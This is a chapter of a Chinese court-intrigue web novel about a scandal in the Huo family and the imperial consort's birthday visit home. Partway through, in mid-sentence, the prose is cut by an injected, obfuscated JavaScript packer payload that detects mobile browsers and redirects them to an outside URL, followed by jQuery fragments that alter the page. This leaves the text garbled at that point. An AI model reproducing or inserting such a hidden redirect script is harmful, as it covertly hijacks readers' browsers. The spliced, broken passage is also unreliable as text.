“已经来了,小叔。”霍三奶奶伸手指指,急促的马蹄声和马啸嘶鸣同时传进耳朵里,他们就看到霍鸳娇在马车没停稳时就跳下马车往府门跑来,在府门前见到霍舒窈和霍雄鹰姐弟时戛然止步,整张脸狰狞得恨不得想把他们给生吞活剐了! “你们以为这样就能得逞了吗,敢这样算计我们,霍舒窈霍雄鹰你们给我等着,我一定会把这笔账百倍千倍还给你们,我一定让你们不得好死,你们就都给我等着去死吧!” 霍鸳娇撂下狠话即往府里跑,霍舒窈和霍雄鹰都没反击,他们相互看看,就感觉怎么看都像是大家都还没会回神,反应最迅速的霍枫叶镇定下,刚想指挥时又有阵马蹄声响传来,十四岁的霍六爷霍超群紧随胞姐而来,见到霍舒窈姐弟就挥拳打过去。 霍桑柔忙护着小祐躲开,霍三少奶奶护着大姑姐躲避,霍雄鹰毫不迟疑地跟庶弟动手,总算把他刚不小心掉了的在京里横着走的霍三爷的气势给重新找回来了。 霍枫叶忍着脑仁疼让小厮入府去禀告。 没多久,霍巨浪冲出来:“小叔,怎么回事?” “娉姨娘和愗郡公厮混,被大哥捉个正着。”霍枫叶拉过比他大的二侄儿,悄声耳语:“事情到这份儿上,必须咬定是娉姨娘耐不住寂寞,让护卫来把雄鹰和超群拉开吧。” “好!”霍巨浪头大得简直宁愿他爹把人接回来都不想闹出这种事,他刚把护卫传来,管家就带着被堵住嘴巴且五花大绑的霍鸳娇走出来,把这二姑奶奶扔出府,对着两位爷传话道:“四老爷、二爷,国公爷交代,即刻派人去找世子回来。 请世子爷今日就给霍超群分家,分家给多少银两田铺全凭世子爷做主。懋郡公若上门来就请两位爷把他拦在府外,告诉他,霍家两个条件:第一,对娉姨娘,请愗郡公收下;第二,对霍鸳娇,不准休妻。只要愗郡公做到,两家的关系照旧不变。” 95. 第95章 热闹好戏能引人入胜叫人看得津津有味的精彩之一就在于反转。 关注霍家热闹的好事者们谁能想到穆国公屁颠颠跑去接宠妾能接出顶绿帽来啊,这热闹简直能媲美天雷滚滚,转瞬间便就一传十十传百。 晏霁之在隅中时迈出寝屋的门槛,打算去烟花地看歌舞做消遣,奴婢禀告霍家的热闹,他愣下后乐起来,他有理由能进宫了呀,当即去皇宫见霍贵妃。 他还比霍雄鹰这一行批不靠谱的祝寿者早半刻钟出发呢,霍雄鹰他们可是又留在霍家府门前看过护卫把霍超群打晕拿麻绳绑起来、把霍鸳娇姐弟塞进马车里送走,见证过愗郡公火烧火燎赶来赔罪被请走,他们才慢腾腾出发去皇宫。 再不合时宜,霍巨浪都能空出闲暇来想吐槽这群人:真是到长春宫就可以用午膳了。 站定在府门前的台阶上放眼瞭望片刻,霍巨浪准备进府时看见兄长,他忙大步迎上去。霍海啸勒住缰绳,握着马鞭翻身下马,问遍详细情况。 四周围没有第三个人,霍巨浪便没顾忌是在府外就把情况告诉兄长,霍海啸听过交代:“派人请京兆尹来趟,明白告诉京兆尹是为户籍,霍家今日就要把霍超群分出去。 咬死了,是娉姨娘自己耐不住寂寞。派人去梧桐巷收宅子,限雷家一个时辰内搬走,按霍家这四年半花在他们身上的银两,让雷家还五千两,否则当盗贼论,送官。” 娉姨娘姓雷,她在三十二岁时用上夫人的份例,没两年又闹着让霍秦川提携她的母家,闹腾两三年闹得让霍秦川同意了;授康二十八年,雷家搬进属于霍家名下的宅子,没隔一年娉姨娘又闹得穆国公答应帮她养雷家人即每月送银两过去给雷家人花销。 这笔花销还逐年递增,从每月五十两增到八十两再增到一百两,不断递增,今年都已经增到每月白送二百两,四年半足足送过去五千多两了。 霍巨浪对别的没意见就是还索要这五千两:“大哥,你非得这样计较做什么?” “咱家给庶出分家,给多少?”霍海啸反问,霍巨浪忆道:“祖父跟两位叔祖分家时都是二十八年前的事了。庶出分家,授康二十一年时祖父重新额定过,以前给一万两,现在是给三万两,就给现银没有田地商铺,当家人想多给就私下出不走公中的账。” “行吧,就给霍超群一万两。”霍海啸随意,霍巨浪被噎得差点磕到牙:“大哥你是不是太过了点,超群毕竟才十四岁,你好歹按分家的份例来吧。” “你再废话,我就给他五千两,拿雷家还来的五千两转给他。”霍海啸真嫌他啰嗦,霍巨浪中肯劝道:“哥啊你好歹顾及下咱爹的心绪吧,这事毕竟是咱亲娘做的。” 霍海啸转头盯着他,神情略带严肃训斥:“你怀疑你自己的亲娘?” 霍巨浪无奈:“哪是我想怀疑我自己的亲娘,可不是娘还能是谁在算计娉姨娘?” “我怀疑是父亲的妾室做的,但真猜不出来爹的哪位姨娘有这么大本事居然能把手伸到愗郡公府,但我绝不相信这件事是咱母亲在算计。”霍海啸措辞沉硬,霍巨浪愣下,意识到如果不是他娘的谋划那事情就大了:“大哥,府里的姨娘能有这么大本事吗?” 霍海啸看着弟弟,神情渐变,他握紧马鞭道:“先向母亲求证过吧。” 哥俩疾步回府里找到母亲,遣退所有奴婢,确定没人偷听,霍海啸向母亲要答案,算计娉姨娘是否是母亲策划?然后被告知是他们老爹做的,霍海啸&霍巨浪:“……” 霍巨浪被雷得外焦里嫩:“娘,爹、爹爹爹他……”天啊,不疯魔不成活吗? “你们爹不想要娉姨娘了,念在二姑奶奶三姐弟和二十多年的情份,你们爹就想着给娉姨娘找个下半生的归宿。”穆国公夫人崔氏都觉得没脸说,告诉亲儿子们都臊得慌。 “爹是要杀疯了吧。”霍巨浪捂着脸大喘气,他爹真是个神人啊。 霍海啸饶是承受力够强都受刺激,他爹太有才了,他爹到底怎么想出来的呀? 关于霍秦川是如何奇思妙想想出来把四十多岁的妾室转送给这妾室生的二姑奶奶的公爹的主意?在老太爷的院里,霍擎就在询问长子,霍秦川装苦涩腔:“爹,闹出这种丑事,您不安慰我就算了,您怎么还能忍心再在儿子心里的伤口上撒盐?” “没外人就别装了啊,嗳,霍漓江来得正好,你让霍漓江说,这事是你做的吗?” “当然是霍秦川做的!不是霍秦川做的难道还能是霍秦川的媳妇做的呀?”霍漓江走到庭前看着这个坐在小板凳上装受害者装可怜的亲哥哥,真是服了他了:“老哥你真有才,你怎么就能想得出把娉姨娘送给愗郡公呢,你害得我听说的时候都把茶水喷了。” 霍秦川哀怨:“哥哥我太伤心了,你们身为我最亲的人挨个往我心伤上撒盐。” 于是霍擎痛快地忽略演上瘾的长子:“算了,咱别搭理霍秦川了,越装他还越起劲儿。”他跟二儿子商量:“你说,霍秦川会想再找个替身吗?这替身找得多了可容易被看出端倪。”娉姨娘当然是个替身,只够蠢哪能撑得起她作妖二十多年。 霍秦川脸黑:“爹?!” “咋啦,你当你爹想看你们两个糟心玩意儿喜欢个人都不正常的。”好嘛,老太爷再开腔把霍漓江给得罪了,霍秦川再喊爹的同时霍漓江告诫:“老爹,我警告你,我对霍秦川喜欢人的品位实在看不上眼,你不要再把我那位跟霍秦川喜欢的那位相提并论。” “呵…”霍擎打量嘲笑霍漓江的眼神简直不要太意味深长啊,霍漓江炸毛:“难道是我想找她吗?我不是没得选嘛,我要是能有得选我可能会想要找她吗?” “行啦,多大点事,值得你又这样嚷嚷吗?”霍擎老太爷嫌弃:“回答问题。” 霍漓江瞟眼黑脸的亲哥然后拿他当不存在:“要我说,我真不觉得娉姨娘像她,大哥自己就很谨慎,大嫂和海啸就连娘都是这么多年都从来没察觉过,就算老哥真会再找个替身,我赌霍秦川他自个儿就会把控好不会再让第四个人发觉。” 被老父亲和弟弟接连戳心肺管的霍秦川强悍奋起,站起来,不想理会他们地走了。 白云苍狗,岁月流金,一抹明媚穿过庭前树荫悄悄收藏起淹没在光阴里的秘密。 相比于皇宫外八卦霍家流言的鼎沸,皇宫中因霍家的热闹尚未传入而风平浪静,今日乃霍贵妃的生辰都未有任何不同,对霍贵妃生辰和前些天皇后生辰时同个动静也就是没动静,郭皇后和今早早早进宫来陪她的母亲建威侯夫人都松了口气。 建威侯府不清楚皇帝对霍贵妃生辰的安排,悉知霍家和霍贵妃在故作姿态的庄太妃哪儿想到郭家竟连班丞相传给百官皆知的消息都打探不到;不然,她怎么也得把这消息送过去。令愔夫人的娘家人不在京畿,庄太妃只把这消息送给令愔夫人了。 班丞相奉旨意传喻百官知晓皇帝对霍贵妃生辰的安排时故意漏掉的可不止一家。 晏霁之走进皇城,来到长春宫外,在距离长春宫的宫门还有数百步远时看见一袭粉白描彩绘宫裙的霍灵渠站在宫道上,他忙疾步迎上去:“怎么站在宫道上?” “霍家是不是出事了,你晓得吗?我算算雄鹰他们巳时出府,这会儿也该到了呀,怎么会还没个人影?”霍灵渠担忧:“是否霍家出事了,他们没空再来看我呀?” “白高兴场,还以为你是候着我呢。”晏霁之拈酸,霍灵渠差点想拍他一下,顾及周围这几个宫婢、虽然站得远不能偷听但到底能看见,她忍住,嗔道:“我跟你说正经的,我许久没见桑柔和小祐了当然会想念,我都没想到你今日会来看我。” 晏霁之轻易被哄好,眼眸温柔似水笑:“今日是你生辰,怎么打扮这么素雅?” 霍灵渠一袭粉白宫装,鬓间一支粉玉簪一支珍珠步摇,素得都像不喜自己的生辰。 她眉眼柔和道:“我今早有抄佛经,我的生辰与姑母早夭长女的忌日太近,我沾着这位早夭表姐的光得到姑母如珠如宝的疼爱又怎能再伤姑母的心?” “都二十五年了,霍太后岂会还在意这点碎末,你过生辰嘛总该要喜庆些。” “不妨的,我原本就许多年不过生辰了。”霍灵渠再问:“你可知霍家是否出事了?” 晏霁之把事情告诉她,霍灵渠:“……”默下怀疑:“娉姨娘没这么饥渴吧? “我不在,你饥渴难耐吗?”晏霁之逗她,霍灵渠被噎得险些羞红俏脸,真想打他下,再忍住,视野中出现皇帝的身影,旖旎的气息瞬间散:“皇帝来了,我姑母有些恼雄鹰他们都快到午膳的时辰了还没来,我回长春宫去解释,你应付皇帝吧。” “用过午膳,你请旨回趟霍家。”霍贵妃回趟霍家,他才能多见会儿,唉。 霍灵渠应过离去,晏霁之凝视两眼再转身,皇帝已站在他面前,他请过安再自觉禀告:“今早霍家闹出的丑闻,不知陛下耳闻没有?臣猜穆国公这位娉姨娘应是被算计的,但臣猜不好是谁在幕后,故而臣进宫来想和霍贵妃探讨。” 明显随口扯幌子,正徽帝嬴忱璧大度得没跟他计较,卡着字重复:“猜不好?” “是,臣不信是穆国公夫人做的,一个对自己根本没威胁的妾室,穆国公夫人何至于顶着既损名声又损和丈夫情份的后果来除之,故,臣宁可猜是霍海啸做的都不信是穆国公夫人在算计,可霍海啸又岂会把个父亲的小妾看在眼中?” 晏霁之真觉得此事透着诡异:“他们应该都不至于出手,所以臣猜不好了。” 嬴忱璧沉吟片刻,没跟晏霁之探讨只带他去长春宫给太后请安,皇帝原本没打算过来,怕他留着会让贵妃和姐妹们相聚有些拘束;可晏霁之求见贵妃,他自是得过来。来长春宫途中收到霍家最新的消息,他真没多想就猜是穆国公夫人了,唉。 皇帝迈进长春宫正殿,给太后请过安,霍灵渠即提出要求,她午后想回趟霍家。 “贵妃,朕刚收到消息,海啸在给庶弟分家,霍家今日有得闹了,你再去,不妥。” “有何不妥?”霍灵渠不赞成:“哪怕霍家会被闹得鸡飞狗跳还能没个我待的地儿吗?何况今日乃我生辰,就算不回家,我想出宫走走看看宫外的鲜活都不行吗?” 霍太后直接做主:“好了皇帝,用过午膳,你就陪贵妃出宫走走权当庆贵妃生辰了。” “好,母后,朕午后就陪贵妃出宫转转。”嬴忱璧没再反对,温和应下,吩咐蒋厚运:“使个宫人在外候着,霍枫叶他们若是两刻钟内还不到,就传膳吧,就算霍家闹出了点事,可今日毕竟是贵妃的生辰,没得来这么晚的理儿。” 大总管领命退下,霍灵渠要反驳被她姑母阻截了,霍太后附和:“是不像话,到底是来给贵妃祝寿还是来长春宫蹭饭?”其实霍太后对这群不着调的来得早来得晚没多大所谓,但踩着午膳的时辰不摆明是没把贵妃放在心上,能叫她没脾气吗? 霍灵渠想打圆场又被抢前,晏霁之笑着缓和:“太后,根据霍家的消息,霍二姑奶奶想求父亲宽解反被穆国公叫奴婢们把她绑起来扔出府去,穆国公又是今日就要给那庶子分家,想来对舒窈和雄鹰他们都是新奇,会留在霍家多看会儿也是情有可原。” “什么情有可原?”霍太后不肯买账:“他们又不是没见过霍鸳娇被绑起来扔柴房里,何况是霍秦川在盛怒当头时把霍鸳娇绑了扔出府,值当什么新奇?” “霍鸳娇出阁前还被穆国公绑起来关在柴房里过?”晏霁之觉得新鲜了,看向皇帝,嬴忱璧同样觉得意外:“母后,这霍二姑奶奶因何事竟惹穆国公那么震怒呀?” 霍太后端茶盅喝茶,懒得回答皇帝的蠢问题。霍灵渠解释:“陛下,是我童年在霍家时娉姨娘和霍鸳娇跟我争谁是霍秦川的心尖尖,大伯对她们禁足、打手心板、掌嘴都罚过了还认不清,只能把她们绑起来扔在柴房里,当年都把她们绑过好几回的。 真不是我想惩戒她们,实在是娉姨娘和霍鸳娇太能闹腾,把她们放出柴房,没个半年,她们又能作妖,我八岁前差不多每年都要把她们绑起来扔在柴房里关两三回。” 晏霁之和皇帝对视眼,他提示:“贵妃,您是侄女,跟人家的宠妾女儿争谁是穆国公的心尖尖是不是争错了,您不是应该争做你父亲霍漓江的心尖尖吗?” “你有意见呀?”霍灵渠浑然副你有意见就给我闭嘴的霸道宣告:“是伯父又怎么啦,大姐争不过庶妹和爹的小妾当然只能由我来争,我不争难道由着她们在霍家闹腾个没完吗?霍漓江的心尖尖就是我,独独我一个,难道我还要跟我自己争谁得父亲疼爱吗?” “看来灵渠你赢得很彻底。”晏霁之由衷点评,霍灵渠扬扬小脑袋,骄傲笑:“当然啦,我问大伯,在他心里是我重要还是娉姨娘和她生的两个姑娘重要?霍秦川就宣告,娉姨娘和霍鸳娇霍鹣娇加起来连我一根头发丝儿都比不上,我就是他霍秦川的心尖尖。” 晏霁之再和皇帝对视眼,感观真是莫名奇怪:“那么,舒窈得到了什么答案?” “哦,大姐呀,大姐问大伯是她重要还是娉姨娘霍鸳娇霍鹣娇重要?大伯说,霍舒窈你就不知体谅你爹怜惜宠妾的心吗?你这不孝女,哼!”霍灵渠同情:“大姐很郁闷。” “是的,舒窈真悲催。”晏霁之很赞同。 被同情的霍舒窈心情舒畅地领着堂妹走在前来长春宫的宫道上,托霍贵妃之前闹着要跟皇帝同归于尽的福,霍桑柔进皇宫来,沿路遇到的宫人们都没谁敢对她指指点点。 但霍桑柔真是要被皇宫的巍峨广阔给大瞎眼了呀:“这皇宫到底是有多大?” “五千五百亩。”霍舒窈告知这走晕乎的堂妹,霍桑柔被吓到了:“什么,五千五百亩?我的小院是一亩半,五千五百亩得多大,这么大个地方要走几天才能走遍啊?” “你走几天都走不完,你会迷路的。”霍舒窈真没鄙视傻样的堂妹而是据实推测,霍桑柔想着让她快走晕的宫道赞同:“呃,对对对,这么大地方,我自己走肯定迷路。” 小祐娃娃走得累还由霍桑柔、霍枫叶和霍三少奶奶轮流抱着走过段。他们紧走慢走得,总算是赶在皇帝限定的末点赶到了长春宫,霍桑柔拍拍脑袋,牵着小祐跨过高高的门槛,抬眼就看见姐姐小跑来,她高兴得连忙抱起小祐迎上去:“姐——” “还好,都没见瘦。”霍灵渠美眸溢满笑,给妹妹理理秀发,接过小祐来抱,看见走过来的小叔和堂姐堂弟们,温柔道:“先进殿给太后请安吧,陛下也在,就要传膳了。” 霍枫叶应好,终于这么近地看着霍灵渠,终于能说上话了,霍枫叶眼神出奇温暖。 霍桑柔抓着她姐姐的衣袖有点忐忑,毕竟是参见皇帝和皇太后,平头老百姓见皇帝和皇太后谁不怕,就算回归霍家了,她也没觉得自己有什么不同,她看待自己就是个小老百姓,老百姓对皇宫对皇帝的畏惧就像是深深刻在骨血里。 进殿请安,霍桑柔看他们跪,她跟着跪;看他们起,她也站起。 霍灵渠帮着小祐跪下来作揖请安再扶着小祐站起来,霍太后吩咐婢女去把她给五侄女和小娃的见面礼取来。正徽帝嬴忱璧注视着这娃娃,眸色渐深:“贵妃带孩子进前来,让朕仔细瞧瞧。”他语毕看贵妃有犹豫,安抚道:“贵妃放心,朕不会吓孩子的。” 霍灵渠只得牵着小祐往前走,霍桑柔可算敢抬头,看眼皇帝陛下,她悄悄拍她的心脏,原来这人真是皇帝呀。她转过视线瞟向传言中的皇太后姑母,瞧一眼就觉得这太后可真年轻好像才三十岁出头,真的能有个二十多岁的皇帝儿子吗? 皇帝嬴忱璧审视这孩子片刻,审视得小祐娃娃感觉害怕地抱紧姨母,霍灵渠频频皱眉:“陛下?”她话语未尽被晏霁之打断:“陛下可是担心会有流言窜出,就是会有那么几个不知死活的敢想污蔑这孩子是贵妃所生只是交给妹妹养而已?” 殿内倏然沉寂,霍桑柔惊悚,霍枫叶神情微变,霍太后和霍雄鹰姐弟同嚷:“什么?” 嬴忱璧认同:“捕风捉影颠倒黑白,朕的确忧虑会有恶语流窜影射贵妃。” 霍灵渠沉默地抱住小祐抚慰娃娃,霍太后怒然拍桌:“荒谬!本宫看哪个不知死活的敢污蔑我灵儿,皇帝,若有人都胆敢污蔑贵妃进宫前生养过还能容忍宽恕吗?谁敢放肆,你就给母后杀,有一个杀一个,有一百个就杀一百,母后看还有谁敢给贵妃泼脏水。” 霍桑柔被震撼了,都不知道这皇太后是人好毕竟对她姐挺好还是让人觉得恐怖呀。 晏霁之愣下真想赞霍太后够强悍,霍灵渠心酸酸得,明知该劝都不想在此时和全心全意疼爱呵护她的姑母唱反调,姑母是真的拿她当亲女儿疼爱,以前是,现在是,从来都是。 “母后,杀戮过重恐又会被揣测是做贼心虚。”嬴忱璧笑言宽慰:“重刑足矣。” “陛下,臣有一言,恳请陛下屏退左右。”晏霁之郑重道,皇帝便挥挥手,大总管率众告退,晏霁之再道:“今早霍家闹出的丑闻,霍家定会咬死是这娉姨娘耐不住寂寞,臣现下觉得不如就由贵妃出面背下算计这娉姨娘的黑锅。 陛下应该还记得册封贵妃的宫宴上霍鸳娇和霍秀仪姐妹俩辱骂贵妃的污言秽语,日前,贵妃因残花败柳四字就能闹同归于尽,凭什么放过她们?贵妃有理由做此事。 有两例警戒在前,陛下您再传下口谕,若有谁胆敢捕风捉影编排污蔑贵妃,赐死不恕。如此三重警示,若有人再敢犯禁,便是阎王难救寻死鬼,死不足惜了。” 霍雄鹰腹诽这家伙坏他贵妃姐姐的名声又难反对只好算了,霍家堂姐妹仨则都感觉好像没什么感触。正徽帝嬴忱璧思量下应好,晏霁之谢过恩再对霍枫叶说:“还得烦请四老爷和姨夫费些心思保护五姑娘,有些事总归不得不防。” 霍桑柔都没意识到他们说的五姑娘是在指她,霍枫叶还谢:“谢英王世子提点,霍家自会保护好桑柔。”她奇怪地眨眨眼,不解道:“保护我做什么,要防什么?” “防范霍鸳娇姐妹乃至好事者挑唆他们来报复你,贵妃出面担下是她算计娉姨娘,对方能善罢甘休吗?若是不能,他们定然要还击;贵妃在皇宫里,他们难以对付贵妃,很容易想还击贵妃的胞妹也就是五姑娘你。”晏霁之警示:“今天以后你会很危险。” 霍灵渠神色渐深沉,霍桑柔大咧咧没知觉:“能有多危险,他们还能想杀我?” “是名节。”晏霁之说。 “哎呀我本来就没有名节。”霍桑柔摆摆手不在意:“这算什么危险?” “桑柔!”霍枫叶告诫:“你回归霍家前的往事和你回归霍家后是两回事,你现在是霍家尚未出阁的五姑娘,你当然有名节,你的名节更不是小事,今后要注意措辞谨言慎行。” 霍桑柔看看姐姐郁闷应声,皇帝终结话题:“母后,午膳的时辰了,传膳吧。” 下刻,有宫人匆匆进殿来禀告,霍秀仪求见,伴着她话音传入的是殿外哄乱的吵闹声和高嚷着喊姑母,霍太后不猜都知道是霍鹣娇想不经通传就闯进来。 “让她回芷筠斋。”霍太后嫌烦躁,皇帝又添句:“近期留意芷筠斋的宫人出入。” 晏霁之走到霍雄鹰身侧问穆国公可还有态度摆出来?霍雄鹰斜他眼,冷哼声,拿足腔调再说出他爹对愗郡公的要求,晏霁之讶然:“莫非穆国公不想管霍鸳娇了?” “你没瞎猜吧?”霍雄鹰巴不得那样但不想胡乱高兴省得失望,霍舒窈被吸引过注意,晏霁之佐证道:“对霍鸳娇,不得休妻,假若穆国公还肯管霍鸳娇,可能会有这种要求吗?除非是他不想再管,防着愗郡公府休妻。” “难道这爹真想下血本了?”霍雄鹰两眼放光还没高兴起来就被打断了,霍秀仪霍鹣娇硬是突破宫人们的阻扰闯进正殿里,她刚喊姑母,霍太后陡然怒起,抄茶盏砸了,指着跟进来的宫婢训:“你们干什么吃的,拖下去,押回芷筠斋禁足。” “姑母?”霍鹣娇往前跑被大群宫娥死拽住拖去殿外,太后发怒,谁还敢跟她客气。 霍桑柔就看着这个霍秀仪被像拔河似的被拖去殿外,她想到了拿麻绳套野猪,猪拼命想往前跑可被人拿麻绳套着,费尽全力还是徒劳,最终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459287|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就被人像拖死猪一样地拖走了。 她知道她和这个霍秀仪是堂姐妹,虽然她没多少怜悯更没兴趣和人家有啥堂姐妹情,但就是有感触,可能就只是对这幕场景有感触,换做别的人,她看来也会有感触。 让她感到阵凉意甚至害怕,姐姐抱小祐过来,还有个宫女过来交给她、太后的赏赐,霍桑柔乖乖道谢接过,依赖地抱着姐姐的手臂。霍灵渠轻轻拍着妹妹,安抚桑柔莫怕。 皇帝站起来扶着太后领着众人去花厅准备用午膳,庆贵妃生辰特意备了四十多道膳点。 午膳结束,正徽帝嬴忱璧传来禁军统领查问霍家娉姨娘的丑闻传入后、皇宫中对此事的议论情况,再交代禁军和銮驾在申时二刻出发去霍家接驾。 嬴忱璧白龙鱼服携霍贵妃率众出宫,在午后太阳光最烈时,他们来到霍府外,霍府正被层层围绕的看客们堵得水泄不通,看这阵仗,可想而知霍家被闹得有多烈。 霍雄鹰摩拳擦掌挤开条道,女人尖锐的叫嚣从人群里传出:“霍秦川你瞎了,这事摆明是崔氏在害我,你都看不出来吗?你不思给我报仇,你还想包庇那毒妇吗? 霍秦川你给我出来!你有胆敢包庇崔氏那毒妇,你都没胆出来见我吗,你也知道你愧对我没脸见我吗?霍秦川你给我出来,你要是再不出来,我就撞死在霍家大宅前!” 霍雄鹰翻白眼,霍舒窈拉着霍灵渠告状:“看见没,你不在这些年,霍秦川就是已经把娉姨娘宠到嚣张成这副德行了,我还真不想相信霍秦川能舍得下他们这伙人。” “是够嚣张,被夫主亲自抓到和外男厮混的小妾居然还能对着夫主大放厥词。”晏霁之闲着恭维,霍雄鹰还没搭腔,边上的看客凑热闹:“可不嘛,霍家指她自己耐不住寂寞,本来大家都不相信,这会儿闹得都有人想信了。” “此话怎讲?”晏霁之没懂两者的联系,一行人全看向这位,看客来劲儿道:“你们瞧她这张狂样,她可是被穆国公亲自捉到,就算是被陷害,她又哪还配穆国公给她出头?可她嚣张得反倒好像成穆国公不给她出头是亏欠她。 甭说是个妾,做正室媳妇都没这样猖狂的,这小妾平时得有多肆无忌惮啊;像这种女的可不就是没准儿什么事都做得出,那说不定就是她自己耐不住寂寞了。” “有道理。”晏霁之话落,见眼前的人群自觉空出条道,没待他们多想,就看见霍鸳娇和霍超群姐弟与其生母娉姨娘被堵着嘴巴五花大绑地塞进马车里送走了。 “晌午时穆国公世子给庶弟分家,霍二姑奶奶和霍六爷也是被绑起来送走。”另有看客有经验道:“这还真是不绑起来就没法消停了,估计他们待会儿还得来闹场。” “估计最近都有得闹了,估计皇宫里的皇帝陛下都有得脑仁疼了,这娉姨娘生的霍鹣娇可是皇帝的嫔御,生母这样狂悖,想来霍秀仪也是个很能扑腾的主儿。”晏霁之坏笑调侃,周围的看客应和议论,皇帝嬴忱璧懒得再滞留,携霍贵妃往前向霍家走去。 围观的人群渐散,在府门前镇场的霍海啸看见皇帝和贵妃带着那群祝寿的走来,他要行礼被皇帝拦住,嬴忱璧道:“不要惊动百姓,朕去给老国丈问个好,海啸引路吧。” 霍海啸颔首应是,给皇帝引路进府。霍灵渠落后步,抱起小祐迈过霍府正门的高门槛;迈过门槛,她站定,回望来时路,霍桑柔凑过去好奇张望:“姐你在看什么呀?” “十六年。”晏霁之从女人怀里接过娃娃塞给霍桑柔,赶她道:“你姐离家十六年多了,你当年还在不记事,你没印象没感触,你姐能吗?你姐终于再以霍灵渠的身份走霍家的正门迈进霍家,你姐能不五味杂陈百感交集吗?自己抱娃进府,让你姐静静。” 霍桑柔被数落得特想对呛,但她也明白英王世子说的在理,看向姐姐。霍灵渠抬手抚抚妹妹的鬓发,霍桑柔好像霎时间就能体悟了:“姐,我带小祐先进去,你别太伤神。” “好!”霍灵渠目送妹妹和小祐消失在她的眼帘底,眼神仍然那样温柔:“半年前,我以流光的身份走进这座府邸时才是百感交集,我爹想让霍贵妃省亲,我觉得恐慌我不敢答应,贵妃省亲,我感觉自己对霍家就像个过客只剩客居的份儿了。” “出嫁的姑奶奶回到娘家就是客。”晏霁之故作打击:“哪怕你能安稳在霍家长大出阁,你这岁数对霍家也早已是客;你想做老姑娘,你问过霍海啸肯养你到老死吗?” 霍灵渠愤愤横他眼,这幕被折返回府门的皇帝抓住,委实太像他两人在眉目传情。 “贵妃感怀自己回来霍家竟像个过客了,臣告诉贵妃除非她做老姑娘不嫁人,否则以她这岁数回来霍家肯定是客,出嫁的姑奶奶再回娘家都是客,贵妃就生气了。”晏霁之这调调似还有谴责意味,嬴忱璧包容道:“都是人之常情,贵妃毕竟十多年没回霍家了。” “今后朕陪贵妃多来霍家走走看看,贵妃慢慢自会适应,莫太伤怀了。”嬴忱璧规劝道:“霍枫叶去通知两位国舅了,海啸也派小厮给国丈报信了,我们去给国丈问好吧。” 霍灵渠抿唇应嗯,走到影壁前看见大哥,她问哥哥霍家对谁算计娉姨娘可有眉目吗? 霍海啸忍着嘴角没抽搐,想还是到祖父的院里再公布,半路上害他们太激动不好。 路上就他们四人,晏霁之道出让霍贵妃出面担下算计这娉姨娘及其目的,再添个目的:“还有这场算计的幕后之人,霍家若是把握不准,或许可以借此查出来。” “让贵妃出面担下这黑锅?”霍海啸琢磨:“若是贵妃出面,我请京兆尹再来趟,找个托词把霍鸳娇姐弟和娉姨娘都送到京兆府衙的大牢里醒醒脑。” “你够利落。”晏霁之褒奖,霍灵渠喟然:“娉姨娘,娉姨娘纵有再多不好,不妄自菲薄不自轻自贱这点她至少比很多人都强;自觉被陷害,她要让她的男人给她报仇难道不该吗?既是被害,男人不给自己的女人出头反而还抛弃她又像什么男人?” 在场猝不及防的三个男人:“……” “贵妃,我觉得您在含沙射影。”晏霁之率先表态,霍灵渠瞅瞅他,振奋进击:“假若我能嫁给六哥哥,假若我被陷害红杏出墙,我会要求六哥哥给我报仇,我相信六哥哥会给我报仇还绝不会抛弃嫌弃被陷害的媳妇,懂得呵护媳妇的男人才是真丈夫。” 皇帝嬴忱璧悄悄握拳尽量让自己不要脸黑,晏霁之腹诽这女人绝对是故意含沙射影,他瞟瞟霍海啸装死、皇帝沉闷,他对呛道:“贵妃您眼神太差,差不多就是个眼瞎。不妄自菲薄不自轻自贱当然是很好的品德,但那位是吗? 假若两人真心相许,女人受伤害后要求她的男人给她出头是应该,男人更该义不容辞。可那位娉姨娘对穆国公有真心吗,她难道不是贪图穆国公能给她荣华富贵吗?可笑这娉姨娘全赖穆国公才有锦衣玉食,她非但不思感恩还贪婪愈盛妄想掌控穆国公。 昨天我还遇见霍鸳娇妄想拿捏亲爹,她放话,穆国公什么时候做到娉姨娘的要求什么时候再去接她姨娘,否则就不用接了。你霍灵渠瞧瞧这是何种德行,在她们自忖穆国公不能没有她们时,人家回馈的是想对穆国公好还是想掌控着穆国公任由她们驱使?” 晏霁之冷笑:“这种人是不是比白眼狼还像个畜生?!那娉姨娘敢在府外叫嚣,到底是不自轻自贱还是她不甘穆国公脱离她的掌心,她自觉穆国公还在意她,她就要寻死腻活逼迫穆国公妥协;可若真捅她两刀,她会不怕死吗?” 霍灵渠低眸黯淡:“是我想错了,娉姨娘不是不自轻自贱,是想胁迫我大伯。” “人心隔肚皮,一时被表象迷惑蒙蔽都是寻常事,贵妃不必在意。”嬴忱璧温和宽慰,还指责晏霁之有些咄咄逼人了,再让霍海啸引路,于是乎晏霁之腹诽皇帝装好人。 来到老太爷的院里,因霍擎和霍灵渠祖孙俩都想在庭前晒晒太阳,他们便在院中说话。霍秦川和霍漓江哥俩前后脚赶来,奴婢们奉上茶水糕点和水果后自觉退下远离。 再无旁人,霍海啸代为讲明皇帝的来意再请父亲供出策划娉姨娘和愗郡公厮混的主谋,穆国公霍秦川:“……”霍海啸你个混球,你信不信你爹就把你拖出来让你背黑锅。 霍擎和霍漓江各自憋笑,霍秦川憋屈地装悲苦腔:“陛下、陛下明鉴啊,一个多月前,册封贵妃的宫宴上,娉姨娘生的霍鸳娇和霍鹣娇姐妹谩骂贵妃诽谤陛下您,陛下您虽然已经处置过可老臣还没有表示呀,老臣深受皇恩,岂能再毫无作为?” 嬴忱璧认同地嗯过,然后才意识到穆国公的言外意,皇帝他不可思议了:“国舅?” 晏霁之默默闭眼捂捂脸,穆国公神人也。 “大伯你、是你在策划陷害娉姨娘?”霍灵渠震惊了,霍秦川受刺激得差点表演抹泪:“娘娘啊,您可怜可怜老臣吧,老臣冥思苦想数十日才想出这个既能惩戒他们又能给他们找个归宿的安排,您就不要再往老臣心里的伤口上撒盐了。” 